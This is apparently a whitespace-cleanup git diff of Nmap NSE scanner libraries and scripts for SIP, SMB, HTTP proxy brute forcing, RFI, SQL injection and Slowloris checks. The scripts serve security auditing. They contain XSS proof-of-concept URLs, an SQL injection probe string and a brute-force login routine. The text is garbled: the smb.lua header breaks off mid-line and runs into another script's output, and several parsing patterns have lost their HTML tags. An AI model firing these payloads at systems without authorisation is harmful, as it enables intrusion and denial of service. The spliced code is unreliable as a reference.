tonumber(cseq)) end, - + } -- The request class holds the necessary functions and parameters for a basic SIP request Request = { - + --- Creates a new Request instance -- @param method string containing the request method to use -- @param proto Used protocol, could be "UDP" or "TCP" @@ -485,7 +485,7 @@ Request = { local o = {} setmetatable(o, self) self.__index = self - + o.ua = "Nmap NSE" o.protocol = proto or "UDP" o.expires = 0 @@ -498,11 +498,11 @@ Request = { o.cid = Util.get_random_string(60) return o end, - + --- Sets the sessiondata so that session information may be fetched -- @param data instance of SessionData setSessionData = function(self, data) self.sessdata = data end, - + --- Adds a custom header to the request -- @param name string containing the header name -- @param value string containing the header value @@ -510,28 +510,28 @@ Request = { self.headers = self.headers or {} table.insert(self.headers, ("%s: %s"):format(name, value)) end, - + --- Sets the SIP uri -- @param uri string containing the SIP uri setUri = function(self, uri) self.uri = uri end, - + --- Sets an error -- @param code number containing the error code -- @param msg string containing the error message setError = function(self, code, msg) self.error = { code = code, msg = msg } end, - + --- Sets the request method -- @param method string containing a valid SIP method (@see Method constant) setMethod = function(self, method) self.method = method end, - + --- Sets the sequence number -- @param seq number containing the sequence number to set setCseq = function(self, seq) self.cseq = seq end, - + --- Sets the allow header -- @param allow table containing all of the allowed SIP methods setAllow = function(self, allow) self.allow = stdnse.strjoin(", ", allow) end, - + --- Sets the request content data -- @param string containing the content data setContent = function(self, content) self.content = content end, @@ -543,15 +543,15 @@ Request = { --- Sets the supported SIP methods -- @param supported string containing the supported methods setSupported = function(self, supported) self.supported = supported end, - + --- Sets the content-length of the SIP request -- @param len number containing the length of the actual request setContentLength = function(self, len) self.length = len end, - + --- Sets the expires header of the SIP request -- @param expires number containing the expire value setExpires = function(self, expires) self.expires = expires end, - + --- Sets the User Agent being used to connect to the SIP server -- @param ua string containing the User-Agent name (defaults to Nmap NSE) setUA = function(self, ua) self.ua = ua end, @@ -559,19 +559,19 @@ Request = { --- Sets the caller ID information of the SIP request -- @param cid string containing the callers id setCallId = function(self, cid) self.cid = cid end, - + --- Sets the maximum forwards allowed of this request -- @param maxfwd number containing the maximum allowed forwards setForwards = function(self, maxfwd) self.maxfwd = maxfwd end, - + --- Sets the proxy authentication data -- @param auth string containing properly formatted proxy authentication data setProxyAuth = function(self, auth) self.proxyauth = auth end, - + --- Sets the www authentication data -- @param auth string containing properly formatted proxy authentication data setWWWAuth = function(self, auth) self.wwwauth = auth end, - + --- Specifies the network protocol being used -- @param proto should be either "UDP" or "TCP" setProtocol = function(self, proto) @@ -579,7 +579,7 @@ Request = { self.protocol = proto end, - + --- Converts the request to a String suitable to be sent over the socket -- @return ret string containing the complete request for sending over the socket __tostring = function(self) @@ -590,15 +590,15 @@ Request = { local sessdata = self.sessdata local lhost, lport = sessdata:getClient() local rhost, rport = sessdata:getServer() - + local name, user, domain = sessdata:getName(), sessdata:getUsername(), sessdata:getDomain() - + assert(self.method, "No method specified") assert(self.maxfwd, "Max forward not set") - + -- if no domain was specified use the remote host instead domain = domain or rhost - + if ( self.error ) then table.insert(data, ("SIP/2.0 %s %d"):format(self.error.msg, self.error.code)) else @@ -611,15 +611,15 @@ Request = { table.insert(data, ("Via: SIP/2.0/%s %s:%d;rport;branch=%s"):format(self.protocol, lhost, lport, branch)) table.insert(data, ("Max-Forwards: %d"):format(self.maxfwd)) table.insert(data, ("From: \"%s\" ;tag=%s"):format(name, user, domain, self.from_tag)) - + if ( self.method == Method.INVITE ) then table.insert(data, ("To: "):format(user, domain)) else table.insert(data, ("To: \"%s\" "):format(name, user, domain)) end - + table.insert(data, ("Call-ID: %s"):format(self.cid)) - + if ( self.error and self.error.code == Error.OK ) then table.insert(data, ("CSeq: %d OPTIONS"):format(self.cseq)) else @@ -638,9 +638,9 @@ Request = { if ( self.supported ) then table.insert(data, ("Supported: %s"):format(self.supported)) end - + if ( not(self.error) ) then - if ( self.proxyauth ) then + if ( self.proxyauth ) then table.insert(data, ("Proxy-Authorization: %s"):format(self.proxyauth)) end if ( self.wwwauth ) then @@ -664,22 +664,22 @@ Request = { table.insert(data, "") else self.length = (self.content and #self.content +2 or 0) - + table.insert(data, ("Content-Length: %d"):format(self.length)) table.insert(data, "") end return stdnse.strjoin("\r\n", data) end, - + } -- A minimal Util class with supporting functions Util = { - - --- Generates a random string of the requested length. - -- @param length (optional) The length of the string to return. Default: 8. - -- @param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. - -- @return The random string. + + --- Generates a random string of the requested length. + -- @param length (optional) The length of the string to return. Default: 8. + -- @param set (optional) The set of letters to choose from. Default: upper, lower, numbers, and underscore. + -- @return The random string. get_random_string = function(length, set) if(length == nil) then length = 8 @@ -698,12 +698,12 @@ Util = { return str end - + } -- The SIP authentication class, supporting MD5 digest authentication SipAuth = { - + --- Creates a new SipAuth instance -- @param auth string containing the auth data as received from the server new = function(self, auth) @@ -713,46 +713,46 @@ SipAuth = { o.auth = auth return o end, - + --- Sets the username used for authentication -- @param username string containing the name of the user setUsername = function(self, username) self.username = username end, - + --- Sets the password used for authentication -- @param password string containing the password of the user setPassword = function(self, password) self.password = password end, - + --- Sets the method used for authentication -- @param method string containing the method (Usually REGISTER) setMethod = function(self, method) self.method = method end, - + --- Sets the uri used for authentication -- @param uri string containing the uri (Usually sip:) setUri = function(self, uri) self.uri = uri end, - + --- Processes and parses a challenge as received from the server parseChallenge = function(self) if ( not(self.auth) ) then return end self.nonce = self.auth:match("nonce=[\"]([^,]-)[\"]") self.algorithm = self.auth:match("algorithm=[\"]*(.-)[\"]*,") self.realm = self.auth:match("realm=[\"]([^,]-)[\"]") - assert(self.algorithm:upper() == "MD5", + assert(self.algorithm:upper() == "MD5", ("Unsupported algorithm detected in authentication challenge (%s)"):format(self.algorithm:upper())) end, - + --- Calculates the authentication response -- @return reponse string containing the authentication response calculateResponse = function(self) - + if ( not(self.nonce) or not(self.algorithm) or not(self.realm) ) then self:parseChallenge() end - + assert(self.username, "SipAuth: No username specified") assert(self.password, "SipAuth: No password specified") assert(self.method, "SipAuth: No method specified") assert(self.uri, "SipAuth: No uri specified") - + local result if ( self.algorithm == "MD5" ) then local HA1 = select(2, bin.unpack("H16", openssl.md5(self.username .. ":" .. self.realm .. ":" .. self.password))) @@ -761,7 +761,7 @@ SipAuth = { end return select(2, bin.unpack("H16", result)):lower() end, - + --- Creates the complete authentication response -- @return auth string containing the complete authentication digest createResponse = function(self) @@ -770,12 +770,12 @@ SipAuth = { " uri=\"%s\", response=\"%s\", algorithm=%s"):format(self.username, self.realm, self.nonce, self.uri, response, self.algorithm) end, - + } -- The Helper class used as main script interface Helper = { - + --- Creates a new instance of the Helper class -- @param host table containing the remote host -- @param port table containing the remote port @@ -789,7 +789,7 @@ Helper = { local timeout = stdnse.get_script_args("sip.timeout") if ( timeout ) then options.timeout = timeout end o.sessdata = SessionData:new() - o.session = Session:new(host, port, o.sessdata, options) + o.session = Session:new(host, port, o.sessdata, options) return o end, @@ -797,7 +797,7 @@ Helper = { connect = function(self) return self.session:connect() end, --- Disconnects and closes the helper instance - close = function(self) return self.session:close() end, + close = function(self) return self.session:close() end, --- Sets the credentials used when performing authentication -- @param username string containing the username to use for authentication @@ -812,7 +812,7 @@ Helper = { setDomain = function(self, domain) self.sessdata:setDomain(domain) end, --- Register the UAC with the server - -- @param options table containing zero or more options + -- @param options table containing zero or more options -- (@see Session:register for more details) -- @return status true on success, false on failure -- @return msg containing the error message if status is false @@ -823,14 +823,14 @@ Helper = { end, options = function(self) return self.session:options() end, - + --- Attempts to INVITE the user at uri to a call -- @param uri string containing the sip uri -- @return status true on success, false on failure invite = function(self, uri) return self.session:invite(uri) end, - + } return _ENV; diff --git a/nselib/smb.lua b/nselib/smb.lua index 3ea19f82a..82623760e 100644 --- a/nselib/smb.lua +++ b/nselib/smb.lua @@ -1,27 +1,27 @@ --- --- Implements functionality related to Server Message Block (SMB, an extension +-- Implements functionality related to Server Message Block (SMB, an extension -- of CIFS) traffic, which is a Windows protocol. -- -- SMB traffic is normally sent to/from ports 139 or 445 of Windows systems. Other systems -- implement SMB as well, including Samba and a lot of embedded devices. Some of them implement --- it properly and many of them not. Although the protocol has been documented decently --- well by Samba and others, many 3rd party implementations are broken or make assumptions. --- Even Samba's and Windows' implementations aren't completely compatible. As a result, +-- it properly and many of them not. Although the protocol has been documented decently +-- well by Samba and others, many 3rd party implementations are broken or make assumptions. +-- Even Samba's and Windows' implementations aren't completely compatible. As a result, -- creating an implementation that accepts everything is a bit of a minefield. Microsoft's -- extensive documentation is available at the following URLs: -- * SMB: http://msdn.microsoft.com/en-us/library/cc246231(v=prot.13).aspx -- * CIFS: http://msdn.microsoft.com/en-us/library/ee442092(v=prot.13).aspx -- --- Where possible, this implementation, since it's intended for scanning, will attempt to +-- Where possible, this implementation, since it's intended for scanning, will attempt to -- accept any invalid implementations it can, and fail gracefully if it can't. This has --- been tested against a great number of weird implementations, and it now works against --- all of them. +-- been tested against a great number of weird implementations, and it now works against +-- all of them. -- -- The intention of this library is to eventually handle all aspects of the SMB protocol. --- That being said, I'm only implementing the pieces that I (Ron Bowes) need. If you --- require something more, let me know and I'll put it on my todo list. +-- That being said, I'm only implementing the pieces that I (Ron Bowes) need. If you +-- require something more, let me know and I'll put it on my todo list. -- --- A programmer using this library should already have some knowledge of the SMB protocol, +-- A programmer using this library should already have some knowledge of the SMB protocol, -- although a lot isn't necessary. You can pick up a lot by looking at the code. The basic -- login/logoff is this: -- @@ -54,70 +54,70 @@ -- status, err = smb.stop(smbstate) -- -- --- The stop function will automatically call tree_disconnect and logoff, +-- The stop function will automatically call tree_disconnect and logoff, -- cleaning up the session, if it hasn't been done already. --- +-- -- To initially begin the connection, there are two options: -- -- 1) Attempt to start a raw session over 445, if it's open. -- --- 2) Attempt to start a NetBIOS session over 139. Although the --- protocol's the same, it requires a session request packet. +-- 2) Attempt to start a NetBIOS session over 139. Although the +-- protocol's the same, it requires a session request packet. -- That packet requires the computer's name, which is requested --- using a NBSTAT probe over UDP port 137. +-- using a NBSTAT probe over UDP port 137. -- --- Once it's connected, a SMB_COM_NEGOTIATE packet is sent, requesting the protocol --- "NT LM 0.12", which is the most commonly supported one. Among other things, the server's --- response contains the host's security level, the system time, and the computer/domain name. --- Some systems will refuse to use that protocol and return "-1" or "1" instead of 0. If that's --- detected, we kill the connection (because the protocol following won't work). +-- Once it's connected, a SMB_COM_NEGOTIATE packet is sent, requesting the protocol +-- "NT LM 0.12", which is the most commonly supported one. Among other things, the server's +-- response contains the host's security level, the system time, and the computer/domain name. +-- Some systems will refuse to use that protocol and return "-1" or "1" instead of 0. If that's +-- detected, we kill the connection (because the protocol following won't work). -- -- If that's successful, SMB_COM_SESSION_SETUP_ANDX is sent. It is essentially the logon --- packet, where the username, domain, and password are sent to the server for verification. +-- packet, where the username, domain, and password are sent to the server for verification. -- The username and password are generally picked up from the program parameters, which are --- set when running a script, or from the registry where it can be set by other scripts (for --- example, smb-brute.nse). However, they can also be passed as parameters to the --- function, which will override any other username/password set. +-- set when running a script, or from the registry where it can be set by other scripts (for +-- example, smb-brute.nse). However, they can also be passed as parameters to the +-- function, which will override any other username/password set. -- -- If a username and password are set, they are used for the first login attempt. If a login fails, -- or they weren't set, a connection as the 'GUEST' account with a blank password is attempted. If -- that fails, then a NULL session is established, which should always work. The username/password -- will give the highest access level, GUEST will give lower access, and NULL will give the lowest --- (often, NULL will give no access). +-- (often, NULL will give no access). -- -- The actual login protocol used by SMB_COM_SESSION_SETUP_ANDX is explained in detail --- in smbauth.lua. +-- in smbauth.lua. -- --- Thanks go to Christopher R. Hertel and his book Implementing CIFS, which +-- Thanks go to Christopher R. Hertel and his book Implementing CIFS, which -- taught me everything I know about Microsoft's protocols. Additionally, I used Samba's -- list of error codes for my constants. Although I don't believe they would be covered -- by GPL, since they're public now anyways, but I'm not a lawyer and, if somebody feels --- differently, let me know and we can sort this out. +-- differently, let me know and we can sort this out. -- -- Scripts that use this module can use the script arguments listed below -- example of using these script arguments: -- -- nmap --script=smb- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-phpself-xss: +-- | http-phpself-xss: -- | VULNERABLE: -- | Unsafe use of $_SERVER["PHP_SELF"] in PHP files -- | State: VULNERABLE (Exploitable) -- | Description: -- | PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities. --- | +-- | -- | Extra information: --- | +-- | -- | Vulnerable files with proof of concept: -- | http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E -- | http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E @@ -77,7 +77,7 @@ end local function launch_probe(host, port, uri) local probe_response - --We avoid repeating probes. + --We avoid repeating probes. --This is a temp fix since httpspider do not keep track of previously parsed links at the moment. if probes[uri] then return false @@ -130,7 +130,7 @@ PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Refl break end end - + local parsed = url.parse(tostring(r.url)) --Only work with .php files @@ -147,7 +147,7 @@ PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Refl end end end - + if ( #vulnpages > 0 ) then vuln.state = vulns.STATE.EXPLOIT vulnpages.name = "Vulnerable files with proof of concept:" diff --git a/scripts/http-proxy-brute.nse b/scripts/http-proxy-brute.nse index 6dab42aae..8eaa5fb8f 100644 --- a/scripts/http-proxy-brute.nse +++ b/scripts/http-proxy-brute.nse @@ -16,7 +16,7 @@ Performs brute force password guessing against HTTP proxy servers. -- @output -- PORT STATE SERVICE -- 8080/tcp open http-proxy --- | http-proxy-brute: +-- | http-proxy-brute: -- | Accounts -- | patrik:12345 - Valid credentials -- | Statistics @@ -41,35 +41,35 @@ local arg_url = stdnse.get_script_args(SCRIPT_NAME .. '.url') or 'http://scanm local arg_method = stdnse.get_script_args(SCRIPT_NAME .. '.method') or "HEAD" Driver = { - + new = function(self, host, port) local o = { host = host, port = port } setmetatable(o, self) self.__index = self return o end, - + connect = function( self ) return true end, - + login = function( self, username, password ) -- the http library does not yet support proxy authentication, so let's -- do what's necessary here. local header = { ["Proxy-Authorization"] = "Basic " .. base64.enc(username .. ":" .. password) } local response = http.generic_request(self.host, self.port, arg_method, arg_url, { header = header, bypass_cache = true } ) - + -- if we didn't get a 407 error, assume the credentials -- were correct. we should probably do some more checks here if ( response.status ~= 407 ) then return true, brute.Account:new( username, password, creds.State.VALID) end - + return false, brute.Error:new( "Incorrect password" ) end, - - disconnect = function( self ) + + disconnect = function( self ) return true end, } @@ -88,9 +88,9 @@ local function checkProxy(host, port, url) if ( not(proxy_auth) ) then return false, "No proxy authentication header was found" end - + local challenges = http.parse_www_authenticate(proxy_auth) - + for _, challenge in ipairs(challenges) do if ( "Basic" == challenge.scheme ) then return true diff --git a/scripts/http-put.nse b/scripts/http-put.nse index d3560d2fa..fe1b479ab 100644 --- a/scripts/http-put.nse +++ b/scripts/http-put.nse @@ -40,7 +40,7 @@ action = function( host, port ) local fname, url = stdnse.get_script_args('http-put.file', 'http-put.url') if ( not(fname) or not(url) ) then return - end + end local f = io.open(fname, "r") if ( not(f) ) then @@ -50,7 +50,7 @@ action = function( host, port ) f:close() local response = http.put(host, port, url, nil, content) - + if ( response.status == 200 or response.status == 204 ) then return stdnse.format_output(true, ("%s was successfully created"):format(url)) end diff --git a/scripts/http-qnap-nas-info.nse b/scripts/http-qnap-nas-info.nse index bd630c8b2..a4676ae44 100644 --- a/scripts/http-qnap-nas-info.nse +++ b/scripts/http-qnap-nas-info.nse @@ -5,7 +5,7 @@ local string = require "string" local table = require "table" description = [[ -Attempts to retrieve the model, firmware version, and enabled services from a +Attempts to retrieve the model, firmware version, and enabled services from a QNAP Network Attached Storage (NAS) device. ]] @@ -16,7 +16,7 @@ QNAP Network Attached Storage (NAS) device. -- @output -- PORT STATE SERVICE REASON -- 443/tcp open https syn-ack --- | http-qnap-nas-info: +-- | http-qnap-nas-info: -- | Device Model: TS-859 -- | Firmware Version: 3.2.5 -- | Firmware Build: 0410T diff --git a/scripts/http-referer-checker.nse b/scripts/http-referer-checker.nse index b4b3946ac..e9af5bd9a 100644 --- a/scripts/http-referer-checker.nse +++ b/scripts/http-referer-checker.nse @@ -7,17 +7,17 @@ third-party entities. --- -- @usage nmap -p80 --script http-refferer-checker.nse -- --- This script informs about cross-domain include of scripts by --- finding src attributes that point to a different domain. --- +-- This script informs about cross-domain include of scripts by +-- finding src attributes that point to a different domain. +-- -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-referer-checker: +-- | http-referer-checker: -- | Spidering limited to: maxdepth=3; maxpagecount=20; -- | http://css3-mediaqueries-js.googlecode.com/svn/trunk/css3-mediaqueries.js -- |_ http://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js?ver=3.4.2 --- +-- --- categories = {"discovery", "safe"} @@ -34,17 +34,17 @@ local httpspider = require "httpspider" portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open") action = function(host, port) - - local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, - maxpagecount = 30, - maxdepth = -1, + + local crawler = httpspider.Crawler:new(host, port, '/', { scriptname = SCRIPT_NAME, + maxpagecount = 30, + maxdepth = -1, withinhost = 0, withindomain = 0 }) crawler.options.doscraping = function(url) - if crawler:iswithinhost(url) - and not crawler:isresource(url, "js") + if crawler:iswithinhost(url) + and not crawler:isresource(url, "js") and not crawler:isresource(url, "css") then return true end @@ -85,7 +85,7 @@ action = function(host, port) end results.name = crawler:getLimitations() - + return stdnse.format_output(true, results) end diff --git a/scripts/http-rfi-spider.nse b/scripts/http-rfi-spider.nse index 5f4171114..51789908b 100644 --- a/scripts/http-rfi-spider.nse +++ b/scripts/http-rfi-spider.nse @@ -10,7 +10,7 @@ Crawls webservers in search of RFI (remote file inclusion) vulnerabilities. It t -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-rfi-spider: +-- | http-rfi-spider: -- | Possible RFI in form at path: /pio/rfi_test2.php, action: /rfi_test2.php for fields: -- | color -- |_ inc @@ -82,7 +82,7 @@ local function check_form(form, host, port, path) local vulnerable_fields = {} local postdata = generate_safe_postdata(form) local sending_function, response - + local action_absolute = string.find(form["action"], "^https?://") -- determine the path where the form needs to be submitted local form_submission_path @@ -98,7 +98,7 @@ local function check_form(form, host, port, path) else sending_function = function(data) return http.get(host, port, form_submission_path..generate_get_string(data), nil) end end - + for _,field in ipairs(form["fields"]) do if rfi_field(field["type"]) then stdnse.print_debug(2, "http-rfi-spider: checking field %s", field["name"]) @@ -168,13 +168,13 @@ portrule = shortport.port_or_service( {80, 443}, {"http", "https"}, "tcp", "open function action(host, port) inclusion_url = stdnse.get_script_args('http-rfi-spider.inclusionurl') or 'http://www.yahoo.com/search?p=rfi' local pattern_to_search = stdnse.get_script_args('http-rfi-spider.pattern') or 'Submit Your Site' - + -- once we know the pattern we'll be searching for, we can set up the function check_response = function(body) return string.find(body, pattern_to_search) end - + -- create a new crawler instance local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME} ) - + if ( not(crawler) ) then return end @@ -183,7 +183,7 @@ function action(host, port) while(true) do local status, r = crawler:crawl() - + if ( not(status) ) then if ( r.err ) then return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) @@ -191,7 +191,7 @@ function action(host, port) break end end - + -- first we try rfi on forms if r.response and r.response.body and r.response.status==200 then local all_forms = http.grab_forms(r.response.body) @@ -207,7 +207,7 @@ function action(host, port) end end --for end --if - + -- now try inclusion by parameters local injectable = {} -- search for injectable links (as in sql-injection.nse) diff --git a/scripts/http-robots.txt.nse b/scripts/http-robots.txt.nse index 16efe648f..12e6a415b 100644 --- a/scripts/http-robots.txt.nse +++ b/scripts/http-robots.txt.nse @@ -31,7 +31,7 @@ categories = {"default", "discovery", "safe"} portrule = shortport.http local last_len = 0 --- split the output in 50 character length lines +-- split the output in 50 character length lines local function buildOutput(output, w) local nl @@ -41,11 +41,11 @@ local function buildOutput(output, w) -- check for duplicates for i,v in ipairs(output) do - if w == v or w == v:sub(2, v:len()) then - return nil + if w == v or w == v:sub(2, v:len()) then + return nil end end - + -- format lines if last_len == 0 or last_len + w:len() <= 50 then last_len = last_len + w:len() @@ -60,8 +60,8 @@ end -- parse all disallowed entries in body and add them to a strbuf local function parse_robots(body, output) - for line in body:gmatch("[^\r\n]+") do - for w in line:gmatch('[Dd]isallow:%s*(.*)') do + for line in body:gmatch("[^\r\n]+") do + for w in line:gmatch('[Dd]isallow:%s*(.*)') do w = w:gsub("%s*#.*", "") buildOutput(output, w) end @@ -71,7 +71,7 @@ local function parse_robots(body, output) end action = function(host, port) - local dis_count, noun + local dis_count, noun local answer = http.get(host, port, "/robots.txt" ) if answer.status ~= 200 then @@ -84,28 +84,28 @@ action = function(host, port) dis_count = parse_robots(answer.body, output) - if dis_count == 0 then + if dis_count == 0 then return end -- verbose/debug mode, print 50 entries - if v_level > 1 and v_level < 5 then - detail = 40 + if v_level > 1 and v_level < 5 then + detail = 40 -- double debug mode, print everything elseif v_level >= 5 then detail = dis_count end -- check we have enough entries - if detail > dis_count then + if detail > dis_count then detail = dis_count end noun = dis_count == 1 and "entry " or "entries " - local shown = (detail == 0 or detail == dis_count) + local shown = (detail == 0 or detail == dis_count) and "\n" or '(' .. detail .. ' shown)\n' return dis_count .. " disallowed " .. noun .. - shown .. table.concat(output, ' ', 1, detail) + shown .. table.concat(output, ' ', 1, detail) end diff --git a/scripts/http-robtex-reverse-ip.nse b/scripts/http-robtex-reverse-ip.nse index 1a3a35152..44d477aee 100644 --- a/scripts/http-robtex-reverse-ip.nse +++ b/scripts/http-robtex-reverse-ip.nse @@ -14,7 +14,7 @@ Obtains up to 100 forward DNS names for a target IP address by querying the Robt -- -- @output -- Pre-scan script results: --- | http-robtex-reverse-ip: +-- | http-robtex-reverse-ip: -- | *.insecure.org -- | *.nmap.com -- | *.nmap.org @@ -34,7 +34,7 @@ Obtains up to 100 forward DNS names for a target IP address by querying the Robt -- | www.seclists.org -- |_ images.insecure.org -- --- @args http-robtex-reverse-ip.host IPv4 address of the host to lookup +-- @args http-robtex-reverse-ip.host IPv4 address of the host to lookup -- author = "riemann" @@ -63,11 +63,11 @@ action = function(host, port) if ( not(ip) or #ip ~= 4 ) then return stdnse.format_output(false, "The argument \"http-robtex-reverse-ip.host\" did not contain a valid IPv4 address") end - + local link = "https://www.robtex.com/ip/"..target..".html" local htmldata = http.get_url(link) local domains = parse_robtex_response(htmldata.body) if ( #domains > 0 ) then return stdnse.format_output(true, domains) - end + end end diff --git a/scripts/http-robtex-shared-ns.nse b/scripts/http-robtex-shared-ns.nse index cd4c800c2..c6bbeca65 100644 --- a/scripts/http-robtex-shared-ns.nse +++ b/scripts/http-robtex-shared-ns.nse @@ -49,7 +49,7 @@ function parse_robtex_response(data) -- cut out the section we're interested in data = data:match(".-(.-)") - + -- process each html list item for li in data:gmatch("
  • (.-)
  • ") do local domain = li:match("(.*)") @@ -57,7 +57,7 @@ function parse_robtex_response(data) table.insert(result, domain) end end - + return result end @@ -70,7 +70,7 @@ local function fetch_robtex_data(url) if ( not(htmldata) or not(htmldata.body) ) then return end - + -- fixup hex encodings return unescape(htmldata.body) end @@ -78,10 +78,10 @@ end hostrule = function (host) return host.targetname end action = function(host) - local base_url = "/dns/" .. host.targetname .. ".html" + local base_url = "/dns/" .. host.targetname .. ".html" local data = fetch_robtex_data(base_url) local domains = parse_robtex_response(data) - + if ( not(domains) ) then local server = lookup_dns_server(data) if ( not(server) ) then diff --git a/scripts/http-server-header.nse b/scripts/http-server-header.nse index 411487200..f273e828f 100644 --- a/scripts/http-server-header.nse +++ b/scripts/http-server-header.nse @@ -18,7 +18,7 @@ correctly. -- http-server-header.skip If set, this script will not run. Useful for -- printing service fingerprints to submit to Nmap.org -author = "Daniel Miller" +author = "Daniel Miller" license = "Same as Nmap--See http://nmap.org/book/man-legal.html" categories = {"version"} diff --git a/scripts/http-sitemap-generator.nse b/scripts/http-sitemap-generator.nse index e4b94f789..3d7fdaddc 100644 --- a/scripts/http-sitemap-generator.nse +++ b/scripts/http-sitemap-generator.nse @@ -13,7 +13,7 @@ are a root document. -- @output -- PORT STATE SERVICE REASON -- 80/tcp open http syn-ack --- | http-sitemap-generator: +-- | http-sitemap-generator: -- | Directory structure: -- | / -- | Other: 1 @@ -121,21 +121,21 @@ end function action(host, port) local starting_url = stdnse.get_script_args('http-sitemap-generator.url') or "/" - + -- create a new crawler instance local crawler = httpspider.Crawler:new( host, port, nil, { scriptname = SCRIPT_NAME, noblacklist=true, useheadfornonwebfiles=true } ) - + if ( not(crawler) ) then return end - + local visited = {} local dir_structure = {} local total_ext = {} local longest_dir_structure = {dir="/", depth=0} while(true) do local status, r = crawler:crawl() - + if ( not(status) ) then if ( r.err ) then return stdnse.format_output(true, ("ERROR: %s"):format(r.reason)) @@ -164,7 +164,7 @@ function action(host, port) end end end - + local out = internal_table_to_output(sort_dirs(dir_structure)) local tot = sort_by_keys(total_ext) out = diff --git a/scripts/http-slowloris-check.nse b/scripts/http-slowloris-check.nse index d8d57005b..bbdf30c18 100644 --- a/scripts/http-slowloris-check.nse +++ b/scripts/http-slowloris-check.nse @@ -14,8 +14,8 @@ Tests a web server for vulnerability to the Slowloris DoS attack without actuall Slowloris was described at Defcon 17 by RSnake (see http://ha.ckers.org/slowloris/). -This script opens two connections to the server, each without -the final CRLF. After 10 seconds, second connection sends +This script opens two connections to the server, each without +the final CRLF. After 10 seconds, second connection sends additional header. Both connections then wait for server timeout. If second connection gets a timeout 10 or more seconds after the first one, we can conclude that sending additional header prolonged @@ -26,7 +26,7 @@ script argument. Idea from Qualys blogpost: * https://community.qualys.com/blogs/securitylabs/2011/07/07/identifying-slow-http-attack-vulnerabilities-on-web-applications - + ]] --- @@ -63,7 +63,7 @@ local Bestopt local TimeWithout -- time without additional headers local TimeWith -- time with additional headers --- does a half http request and waits until timeout +-- does a half http request and waits until timeout local function slowThread1(host,port) -- if no response was received when determining SSL if ( Bestopt == "none" ) then @@ -73,7 +73,7 @@ local function slowThread1(host,port) local catch = function() TimeWithout = nmap.clock() end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) socket = nmap.new_socket() socket:set_timeout(500 * 1000) socket:connect(host.ip, port, Bestopt) @@ -82,7 +82,7 @@ local function slowThread1(host,port) TimeWithout = nmap.clock() end --- does a half http request but sends another +-- does a half http request but sends another -- header value after 10 seconds local function slowThread2(host,port) -- if no response was received when determining SSL @@ -95,13 +95,13 @@ local function slowThread2(host,port) TimeWith = nmap.clock() stdnse.print_debug("2 try") end - local try = nmap.new_try(catch) + local try = nmap.new_try(catch) socket = nmap.new_socket() socket:set_timeout(500 * 1000) socket:connect(host.ip, port, Bestopt) socket:send(HalfHTTP) - stdnse.sleep(10) - socket:send("X-a: b\r\n") + stdnse.sleep(10) + socket:send("X-a: b\r\n") try(socket:receive()) TimeWith = nmap.clock() end @@ -112,8 +112,8 @@ action = function(host,port) title = "Slowloris DOS attack", description = [[ Slowloris tries to keep many connections to the target web server open and hold them open as long as possible. -It accomplishes this by opening connections to the target web server and sending a partial request. By doing -so, it starves the http server's resources causing Denial Of Service. +It accomplishes this by opening connections to the target web server and sending a partial request. By doing +so, it starves the http server's resources causing Denial Of Service. ]], references = { 'http://ha.ckers.org/slowloris/', @@ -122,8 +122,8 @@ so, it starves the http server's resources causing Denial Of Service. disclosure = {year = '2009', month = '09', day = '17'}, }, exploit_results = {}, - } - + } + local report = vulns.Report:new(SCRIPT_NAME, host, port) slowloris.state = vulns.STATE.NOT_VULN @@ -136,7 +136,7 @@ so, it starves the http server's resources causing Denial Of Service. -- both threads run at the same time local thread1 = stdnse.new_thread(slowThread1, host, port) local thread2 = stdnse.new_thread(slowThread2, host, port) - while true do -- wait for both threads to die + while true do -- wait for both threads to die if coroutine.status(thread1) == "dead" and coroutine.status(thread2) == "dead" then break end @@ -146,12 +146,12 @@ so, it starves the http server's resources causing Denial Of Service. if ( not(TimeWith) or not(TimeWithout) ) then return end - local diff = TimeWith - TimeWithout + local diff = TimeWith - TimeWithout stdnse.print_debug("Time difference is: %d",diff) - -- if second connection died 10 or more seconds after the first - -- it means that sending additional data prolonged the connection's time + -- if second connection died 10 or more seconds after the first + -- it means that sending additional data prolonged the connection's time -- and the server is vulnerable to slowloris attack - if diff >= 10 then + if diff >= 10 then stdnse.print_debug("Difference is greater or equal to 10 seconds.") slowloris.state = vulns.STATE.VULN end diff --git a/scripts/http-sql-injection.nse b/scripts/http-sql-injection.nse index 5be7c2957..58a707c80 100644 --- a/scripts/http-sql-injection.nse +++ b/scripts/http-sql-injection.nse @@ -48,7 +48,7 @@ categories = {"intrusive", "vuln"} -- @output -- PORT STATE SERVICE -- 80/tcp open http syn-ack --- | http-sql-injection: +-- | http-sql-injection: -- | Possible sqli for queries: -- | http://foo.pl/forms/page.php?param=13'%20OR%20sqlspider -- | Possible sqli for forms: @@ -68,13 +68,13 @@ if it is vulnerable local errorstrings = {} local function check_injection_response(response) - + local body = string.lower(response.body) - + if not (response.status == 200 or response.status ~= 500) then - return false + return false end - + if errorstrings then for _,e in ipairs(errorstrings) do if string.find(body, e) then @@ -94,20 +94,20 @@ local function build_injection_vector(urls) local utab, k, v, urlstr, response local qtab, old_qtab, results local all = {} - + for _, injectable in ipairs(urls) do if type(injectable) == "string" then utab = url.parse(injectable) qtab = url.parse_query(utab.query) - + for k, v in pairs(qtab) do old_qtab = qtab[k]; qtab[k] = qtab[k] .. "'%20OR%20sqlspider" - + utab.query = url.build_query(qtab) urlstr = url.build(utab) table.insert(all, urlstr) - + qtab[k] = old_qtab utab.query = url.build_query(qtab) end @@ -181,7 +181,7 @@ local function 